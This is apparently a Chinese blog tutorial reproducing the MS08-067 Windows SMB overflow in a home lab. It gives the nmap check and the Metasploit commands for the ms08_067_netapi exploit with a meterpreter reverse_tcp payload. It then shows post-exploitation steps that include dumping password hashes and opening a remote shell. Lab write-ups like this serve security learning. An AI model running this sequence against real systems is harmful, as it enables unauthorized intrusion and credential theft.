MS08-067漏洞重現
MS08-067漏洞重現
Hard_lu
2015-10-10
(1):MS08-067遠端溢位漏洞描述
MS08-067漏洞的全稱為“Windows Server服務RPC請求緩衝區溢位漏洞”,如果使用者在受影響的系統上收到特製的 RPC 請求,則該漏洞可能允許遠端執行程式碼。在 Microsoft Windows 2000Windows XP 和 Windows Server 2003 系統上,攻擊者可能未經身份驗證即可利用此漏洞執行任意程式碼,此漏洞可用於進行蠕蟲攻擊,目前已經有利用該漏洞的蠕蟲病毒。防火牆最佳做法和標準的預設防火牆配置,有助於保護網路資源免受從企業外部發起的攻擊,預設情況下能建立空連線。
(2) :查詢MS08-067是否存在於目標靶機上:
重現此實驗在區域網中實行,目標靶機是:windows xp,(注:此xp系統是2001年版本的,在msdn上下載的!)攻擊機:kali-linux1.0.9;
可以先通過nmap掃描工具去掃描目標主機的埠及目標系統存在的高位漏洞,作為滲透測試的第一步:資訊收集!在metasploit中呼叫nmap外掛--script=smb-check-vulns:命令執行如下:
存在漏洞的標誌:(ms08-067)
namap掃描的結果裡報告發現MS08-067:DISABLED。 這是在暗示我們或許能夠對這臺主機進行滲透攻擊,然後我們在 Metasloit裡面找到此漏洞的攻擊模組,並嘗試攻擊目標機器。MS08-067是一個對作業系統版本依賴非常高的漏洞,所以在這裡,我們只自動payload指定一下目標就可以確保觸發正確的溢位程式碼。
(3)搭建環境過程及原理分析:
1>開啟xp和kali,並配置ip在同一網段(檢查ping通即可);我的因為是內網,所以有ip劃分的因素導致看起來不在同一網段,其實就在同一網段的;
Xp:172.25.0.95: 255.255.252.0: 閘道器:172.25.3.254
Kali:172.25.3.3: 255.255.252.0: 閘道器:172.25.3.254
2>kali開啟metasploit;這個通過選項applications>kali linux>system service>metasploit>metasploit start.(執行結束如下圖所示:)(注:第一段是指框架預設首先開啟kali整合的postgresql資料庫,第二段和第三是開啟metasploit框架服務的)
3>進入metasploit的msfconsole控制檯:命令msfconsole;(此過程可能得2-5分鐘,因為它是在載入一些模組等等)。接著你會看到友好的歡迎頁面:
4>在msf>提示符下:輸入search ms08-067;查詢與其相關的漏洞攻擊程式;(重要資訊都在紅圈標記中:下面同上,就不一一提示了!)
5>輸入使用該漏洞攻擊程式:命令:use exploit/windows/smb/ms08_067_netapi;執行結束後如下:
6>如上我們已經駕馭了(ms08_067_netapi)這個漏洞攻擊程式,哈哈!接下來我們要找一找metasploit下的有效攻擊荷載(payload),那就使用命令:show payloads來查詢一下吧!
本來選擇如圖中標記的的payload,但是為了結合書上作者第二個:meterpreter(注:這是一個metasploit框架下強大的payload)的演示我改做下面的payload,其實目的是為了顯示更多的效果(ps:新手不就是為了多看到點效果麼,才能楊樣自得!哈哈,扯遠了,就是讓大家玩玩,真正的黑客可是不玩這些小伎倆的哦 QWQ);執行如下:
7>既然找到了上圖的payload,那就不妨嘗試一下:使用命令:set payload windows/meterpreter/reverse_tcp; 執行如下:
8>完成滲透攻擊模組與攻擊載荷模組的選擇之後,需要檢視配置滲透攻擊所需的配置選項,具體命令如下:show options(方塊中是空的?我在這裡解釋一下:RHOST:表示靶機的ip地址,我們還沒設定,但是不要著急,隨後設定;LHOST:肯定讀者會想到這是攻擊主機的ip了吧?對,讀者很聰明,答案是肯定的,就是攻擊主機的ip,另外,別的選項讀者也可以自己試著理解一下,我就不在這裡一一解釋了,相信聰明的你應該可以想到!)
9>now,現在我們需要設定ip咯,設定命令:set RHOST 172.25.0.95
Set LHOST 172.25.3.3;如下所示:
10>設定完成之後我們需要知道目標靶機的系統型別,現在去查詢這個payload有多少種可攻擊的系統:show targets
哇!!!不錯,竟然有67種的系統去攻擊,那麼我們應該選擇哪個目標呢?不要著急,可能你不太明白你的xp到底是屬於如上67種的哪一個,但你可以選擇一個預設的哦;給你看:
11>你可以選擇target 0,因為它是自動幫你匹配的,多省事啊!執行如下命令選擇目標:set target 0
12>現在呢,我們基本已設定完成,接下來我們show一下看看自己的配置都在不?確認一下資訊:(看到了吧,我們的配置沒問題吧!Ip都有了啊!!!)
13>接下來就是見證奇蹟的時刻了,哈哈賣個關子!!!,開始攻擊:命令:exploit
吼吼!!!成功了!!!已成功拿下對方主機,那麼現在你要做什麼呢?好的,告訴你一句話:好戲開鑼咯···
(4)是時候讓你體驗一下當黑客的感覺了!Hello,hacker
1>做到這裡接下來就希望你能照著書上的去實現了,苦於你沒機會展示的機會來了,還等什麼呢?好吧,廢話少說第一個“破壞”玩起!哈哈;(但是本人更喜歡從最後一個:例項5玩起!!!)
例項5:獲得目標系統的螢幕截圖:
(可以讀懂麼,它把截圖放在你kali的root路徑下了,我拿出來你看看)
例項4:獲得系統當前的程序列表:
例項3:獲得當前的工作目錄和使用者id:
例項2:獲得目標系統的password hash(密碼雜湊:ps:這個我們在密碼學中會學到的。。。)
例項1:獲得目標系統的DOS shell:(PS:這才是黑客所關注的東西,因為有了它,什麼木馬,後門之類的東西都變得容易起來啦!)讓我們一起來看看這個神奇的東西吧!!!
怎麼樣?簡單的一個命令我們就拿到對方的cmd控制檯了吧?爽不爽?哈哈。。。為了讓你更加大開眼見,我準備了例項0來讓你一爽到底···
例項0:那我就和靶機簡單比較一下命令:ipconfig/all吧!!!
從靶機拿到的ipconfig/all:(簡單解釋一下啊kali截圖中所有問號問題:那是因為漢字編碼問題:可能是UTF-8的緣故吧!!!)
(5)總結:是時候結束演示了,所有的東西總是不會盡善盡美,讀者想要看到的木馬,後門之類的功能我並沒有實現,原因是本人也是渣渣,望理解,不過這也為讀者帶去興趣去搞搞了,或許你就可以實現更高階的功能,我也繼續努力希望有一天可以呈現給讀者是更高階的漏洞攻擊!嗯,衷心的希望和讀者一起努力,共築計算機世界的安全!!!
參考文獻:
《滲透測試實踐指南》 (美)Patrick Engebretson著;
《網路攻防技術》 武曉飛 著;
《Metasploit滲透測試魔鬼訓練營》 諸葛建偉 著;
《kali-linux滲透測試的藝術》 (英)Lee Allen;